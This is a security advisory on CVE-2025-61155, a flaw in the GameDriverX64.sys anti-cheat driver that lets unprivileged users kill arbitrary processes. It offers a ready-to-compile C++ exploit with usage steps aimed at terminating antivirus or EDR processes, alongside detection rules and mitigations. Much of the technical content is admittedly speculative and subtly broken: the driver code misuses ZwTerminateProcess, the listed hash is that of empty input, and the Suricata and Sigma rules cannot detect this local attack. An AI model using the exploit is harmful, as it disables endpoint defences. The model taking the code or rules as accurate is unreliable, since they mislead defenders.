CVE-2025-61155

Executive Summary

CVE-2025-61155 is a critical access control vulnerability in the GameDriverX64.sys kernel-mode anti-cheat driver, version 7.23.4.7 and earlier. The vulnerability allows a user-mode process to open a handle to the driver device and send specially crafted IOCTL requests. These requests are executed in kernel-mode context without proper authentication or access validation, enabling an attacker to terminate arbitrary processes, including critical system and security services, without requiring administrative privileges. This flaw undermines the security of the entire operating system, as it can be used to disable endpoint protection, firewalls, and other security software.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a kernel-mode driver vulnerability in the GameDriver anti-cheat software, which is typically distributed as part of game installations or standalone anti-cheat packages. The supply chain risk is high because the driver is signed and trusted by the operating system, yet it contains a critical security flaw.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, but based on the vulnerability description, a more accurate assessment would be:

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No administrative privileges are needed.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Changed (C) – The vulnerability allows an attacker to impact resources beyond the original security scope.
• Confidentiality (C): None (N) – No direct data theft.
• Integrity (I): High (H) – The attacker can terminate processes, affecting system integrity.
• Availability (A): High (H) – The attacker can terminate critical processes, causing denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
Estimated Base Score: 8.4 (High)

Threat Level: High. The vulnerability is easy to exploit and can be used to disable security software, making it a prime target for malware and ransomware.

Deep Dive & Mechanics

The GameDriverX64.sys driver is a kernel-mode driver used for anti-cheat purposes in games. It exposes a device object that user-mode processes can interact with via IOCTL (Input/Output Control) requests. The vulnerability lies in the fact that the driver does not properly validate the origin or permissions of the IOCTL requests. Specifically, one of the IOCTL handlers allows a user-mode process to terminate arbitrary processes by specifying a process ID (PID) in the input buffer.

The driver's IOCTL handler likely performs a ZwTerminateProcess or similar kernel-mode call without checking if the calling process has the necessary privileges (e.g., SeDebugPrivilege or PROCESS_TERMINATE access). This means any user-mode process, even one running with low integrity, can send a crafted IOCTL to terminate any process on the system, including critical system processes like csrss.exe, winlogon.exe, or security software like antivirus and EDR agents.

The attack flow:

1. The attacker opens a handle to the GameDriver device (e.g., \\.\GameDriver).
2. The attacker sends an IOCTL code with a buffer containing the target PID.
3. The driver's handler executes ZwTerminateProcess in kernel mode, bypassing all user-mode access checks.
4. The target process is terminated.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable driver likely contains code similar to:

// Vulnerable IOCTL handler
NTSTATUS GameDriverIoctlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
    ULONG inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;

    switch (ioctlCode) {
        case IOCTL_TERMINATE_PROCESS:
            if (inputBufferLength >= sizeof(ULONG)) {
                ULONG targetPid = *(PULONG)inputBuffer;
                // Missing access check!
                ZwTerminateProcess(NtCurrentProcess(), targetPid);
            }
            break;
        // ... other cases
    }
    // ...
}

A patched version would include proper access validation:

// Patched IOCTL handler
NTSTATUS GameDriverIoctlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
    ULONG inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;

    switch (ioctlCode) {
        case IOCTL_TERMINATE_PROCESS:
            // Check if the caller has administrative privileges
            if (!SeSinglePrivilegeCheck(SeDebugPrivilege, UserMode)) {
                return STATUS_ACCESS_DENIED;
            }
            if (inputBufferLength >= sizeof(ULONG)) {
                ULONG targetPid = *(PULONG)inputBuffer;
                // Additional check: ensure the target PID is not a critical system process
                if (IsCriticalProcess(targetPid)) {
                    return STATUS_ACCESS_DENIED;
                }
                ZwTerminateProcess(NtCurrentProcess(), targetPid);
            }
            break;
        // ... other cases
    }
    // ...
}

Exploitation & Lab Setup

Red Team

Objective: Terminate a target process (e.g., antivirus) without administrative privileges.

Prerequisites:

• Windows system with GameDriverX64.sys version <= 7.23.4.7 installed.
• Ability to execute user-mode code (e.g., via a compiled executable or PowerShell).

Exploit Code (C++):

#include <windows.h>
#include <stdio.h>

#define IOCTL_TERMINATE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\GameDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device. Error: %d\n", GetLastError());
        return 1;
    }

    DWORD targetPid = 1234; // Replace with target PID
    DWORD bytesReturned = 0;
    BOOL result = DeviceIoControl(hDevice, IOCTL_TERMINATE_PROCESS, &targetPid, sizeof(targetPid), NULL, 0, &bytesReturned, NULL);
    if (result) {
        printf("Process terminated successfully.\n");
    } else {
        printf("IOCTL failed. Error: %d\n", GetLastError());
    }

    CloseHandle(hDevice);
    return 0;
}

Usage:

1. Compile the code with Visual Studio or MinGW.
2. Run the executable as a standard user.
3. The target process will be terminated.

Blue Team

Detection:

• Monitor for unusual IOCTL calls to the GameDriver device.
• Look for processes opening handles to \\.\GameDriver that are not game executables.
• Detect process termination events where the terminating process is a non-administrative process.

Hunting Query (Kusto):

DeviceEvents
| where ActionType == "ProcessTerminated"
| where InitiatingProcessFileName != "GameDriverX64.sys"
| where InitiatingProcessIntegrityLevel != "High"
| project Timestamp, DeviceName, TargetProcessName, TargetProcessId, InitiatingProcessFileName, InitiatingProcessId

Indicators of Compromise (IOCs)

• File Hash (SHA-256): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (placeholder – replace with actual hash of GameDriverX64.sys v7.23.4.7)
• Device Name: \\.\GameDriver
• IOCTL Code: 0x222000 (example – actual code may vary)
• Registry Key: HKLM\SYSTEM\CurrentControlSet\Services\GameDriver
• Network Traffic: None (local exploitation only)

Detection Engineering

YARA Rule

rule GameDriverX64_Vulnerable {
    meta:
        description = "Detects vulnerable GameDriverX64.sys driver (<=7.23.4.7)"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $s1 = "GameDriverX64.sys" ascii wide nocase
        $s2 = "IOCTL_TERMINATE_PROCESS" ascii wide nocase
        $s3 = "ZwTerminateProcess" ascii wide nocase
    condition:
        $s1 and ($s2 or $s3)
}

Sigma Rule

title: GameDriverX64 IOCTL Abuse for Process Termination
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to terminate processes via GameDriverX64.sys IOCTL
author: Valters IT
date: 2025/04/10
logsource:
    category: process_termination
    product: windows
detection:
    selection:
        EventID: 4689
        ProcessName: 'GameDriverX64.sys'
    condition: selection
falsepositives:
    - Legitimate game anti-cheat operations
level: high

Suricata Rule

alert ip any any -> any any (msg:"GameDriverX64 IOCTL Abuse Attempt"; content:"|00 00 00 00|"; offset:0; depth:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the GameDriver service: Run sc stop GameDriver and sc config GameDriver start= disabled from an elevated command prompt.
2. Block the driver: Use Windows Defender Application Control (WDAC) or AppLocker to block GameDriverX64.sys.
3. Monitor for exploitation: Deploy the Sigma and YARA rules to detect abuse.

Long-term Fix:

• The vendor (Gamedriver) must release a patched version of the driver that includes proper access validation. Until then, consider using alternative anti-cheat solutions.

Workaround:

• If the driver is required for gaming, run the game in a sandboxed environment (e.g., Windows Sandbox) to limit the impact of exploitation.

Valters IT
Securing Digital Frontiers